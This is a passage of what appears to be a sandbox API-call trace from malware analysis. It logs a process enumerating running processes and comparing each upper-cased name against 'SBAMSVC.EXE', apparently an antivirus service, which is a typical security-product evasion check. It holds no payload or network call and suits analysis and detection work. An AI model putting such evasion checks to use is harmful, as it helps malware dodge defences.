th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.518] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.518] lstrlenW (lpString="svchost.exe") returned 11 [0067.518] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.518] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.518] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.519] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.519] lstrlenW (lpString="svchost.exe") returned 11 [0067.519] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.519] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.519] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.519] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.519] lstrlenW (lpString="svchost.exe") returned 11 [0067.520] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.520] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.520] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.520] lstrcpyW (in: lpString1=0x1ebf940, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0067.520] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.520] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0067.520] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.520] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.521] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.521] lstrlenW (lpString="svchost.exe") returned 11 [0067.521] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.521] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.521] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.521] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.521] lstrlenW (lpString="svchost.exe") returned 11 [0067.521] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.521] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.521] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0067.522] lstrcpyW (in: lpString1=0x1ebf940, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0067.522] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0067.522] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0067.522] lstrcmpW (lpString1="OFFICECLICKTORUN.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.522] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.523] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.523] lstrlenW (lpString="svchost.exe") returned 11 [0067.523] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.523] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.523] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0067.524] lstrcpyW (in: lpString1=0x1ebf940, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0067.524] lstrlenW (lpString="sihost.exe") returned 10 [0067.524] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0067.524] lstrcmpW (lpString1="SIHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.524] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.524] lstrcpyW (in: lpString1=0x1ebf940, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0067.524] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.524] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0067.524] lstrcmpW (lpString1="TASKHOSTW.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.524] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.525] lstrcpyW (in: lpString1=0x1ebf940, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0067.525] lstrlenW (lpString="explorer.exe") returned 12 [0067.525] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0067.525] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.525] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0067.525] lstrcpyW (in: lpString1=0x1ebf940, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0067.525] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0067.525] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0067.525] lstrcmpW (lpString1="RUNTIMEBROKER.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.525] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0067.526] lstrcpyW (in: lpString1=0x1ebf940, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0067.526] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0067.526] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0067.526] lstrcmpW (lpString1="SHELLEXPERIENCEHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.526] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0067.526] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0067.527] lstrlenW (lpString="SearchUI.exe") returned 12 [0067.527] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0067.527] lstrcmpW (lpString1="SEARCHUI.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.527] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0067.527] lstrcpyW (in: lpString1=0x1ebf940, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0067.527] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0067.527] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0067.527] lstrcmpW (lpString1="COMMANDSXEROXRELATIONSHIP.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.527] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0067.528] lstrcpyW (in: lpString1=0x1ebf940, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0067.528] lstrlenW (lpString="nice cu.exe") returned 11 [0067.528] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0067.528] lstrcmpW (lpString1="NICE CU.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.528] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0067.528] lstrcpyW (in: lpString1=0x1ebf940, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0067.528] lstrlenW (lpString="video_reviewing.exe") returned 19 [0067.528] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0067.529] lstrcmpW (lpString1="VIDEO_REVIEWING.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.529] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0067.529] lstrcpyW (in: lpString1=0x1ebf940, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0067.529] lstrlenW (lpString="shame.exe") returned 9 [0067.529] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0067.529] lstrcmpW (lpString1="SHAME.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.529] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0067.530] lstrcpyW (in: lpString1=0x1ebf940, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0067.530] lstrlenW (lpString="fantasy.exe") returned 11 [0067.530] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0067.530] lstrcmpW (lpString1="FANTASY.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.530] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0067.531] lstrcpyW (in: lpString1=0x1ebf940, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0067.531] lstrlenW (lpString="accepting.exe") returned 13 [0067.531] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0067.531] lstrcmpW (lpString1="ACCEPTING.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.531] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0067.531] lstrcpyW (in: lpString1=0x1ebf940, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0067.531] lstrlenW (lpString="authorized.exe") returned 14 [0067.531] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0067.531] lstrcmpW (lpString1="AUTHORIZED.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.531] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0067.532] lstrcpyW (in: lpString1=0x1ebf940, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0067.532] lstrlenW (lpString="isp.exe") returned 7 [0067.532] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0067.532] lstrcmpW (lpString1="ISP.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.532] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0067.533] lstrcpyW (in: lpString1=0x1ebf940, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0067.533] lstrlenW (lpString="cowboy.exe") returned 10 [0067.533] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0067.533] lstrcmpW (lpString1="COWBOY.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.533] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0067.533] lstrcpyW (in: lpString1=0x1ebf940, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0067.533] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0067.533] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0067.533] lstrcmpW (lpString1="J_VARIABLES_CHANGES.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.533] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0067.534] lstrcpyW (in: lpString1=0x1ebf940, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0067.534] lstrlenW (lpString="thats.exe") returned 9 [0067.534] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0067.534] lstrcmpW (lpString1="THATS.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.534] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0067.534] lstrcpyW (in: lpString1=0x1ebf940, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0067.535] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0067.535] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0067.535] lstrcmpW (lpString1="BIKES GOODS WHILST.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.535] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0067.535] lstrcpyW (in: lpString1=0x1ebf940, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0067.535] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0067.535] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0067.535] lstrcmpW (lpString1="REACHES PROCESSING CULTURE.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.535] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0067.536] lstrcpyW (in: lpString1=0x1ebf940, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0067.536] lstrlenW (lpString="actual.exe") returned 10 [0067.536] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0067.536] lstrcmpW (lpString1="ACTUAL.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.536] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0067.536] lstrcpyW (in: lpString1=0x1ebf940, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0067.537] lstrlenW (lpString="potter larry.exe") returned 16 [0067.537] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0067.537] lstrcmpW (lpString1="POTTER LARRY.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.537] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0067.537] lstrcpyW (in: lpString1=0x1ebf940, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0067.537] lstrlenW (lpString="contents what certificate.exe") returned 29 [0067.537] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0067.537] lstrcmpW (lpString1="CONTENTS WHAT CERTIFICATE.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.537] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0067.538] lstrcpyW (in: lpString1=0x1ebf940, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0067.538] lstrlenW (lpString="cindy.exe") returned 9 [0067.538] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0067.538] lstrcmpW (lpString1="CINDY.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.538] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0067.538] lstrcpyW (in: lpString1=0x1ebf940, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0067.538] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0067.538] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0067.538] lstrcmpW (lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.538] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0067.539] lstrcpyW (in: lpString1=0x1ebf940, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0067.539] lstrlenW (lpString="unusual.exe") returned 11 [0067.539] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0067.539] lstrcmpW (lpString1="UNUSUAL.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.539] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0067.540] lstrcpyW (in: lpString1=0x1ebf940, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0067.540] lstrlenW (lpString="pacific.exe") returned 11 [0067.540] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0067.540] lstrcmpW (lpString1="PACIFIC.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.540] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0067.540] lstrcpyW (in: lpString1=0x1ebf940, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0067.540] lstrlenW (lpString="phantom.exe") returned 11 [0067.540] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0067.540] lstrcmpW (lpString1="PHANTOM.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.540] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0067.541] lstrcpyW (in: lpString1=0x1ebf940, lpString2="backgroundTaskHost.exe" | out: lpString1="backgroundTaskHost.exe") returned="backgroundTaskHost.exe" [0067.541] lstrlenW (lpString="backgroundTaskHost.exe") returned 22 [0067.541] CharUpperBuffW (in: lpsz="backgroundTaskHost.exe", cchLength=0x16 | out: lpsz="BACKGROUNDTASKHOST.EXE") returned 0x16 [0067.541] lstrcmpW (lpString1="BACKGROUNDTASKHOST.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.541] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.542] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0067.542] lstrlenW (lpString="dllhost.exe") returned 11 [0067.542] CharUpperBuffW (in: lpsz="dllhost.exe", cchLength=0xb | out: lpsz="DLLHOST.EXE") returned 0xb [0067.542] lstrcmpW (lpString1="DLLHOST.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.542] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: 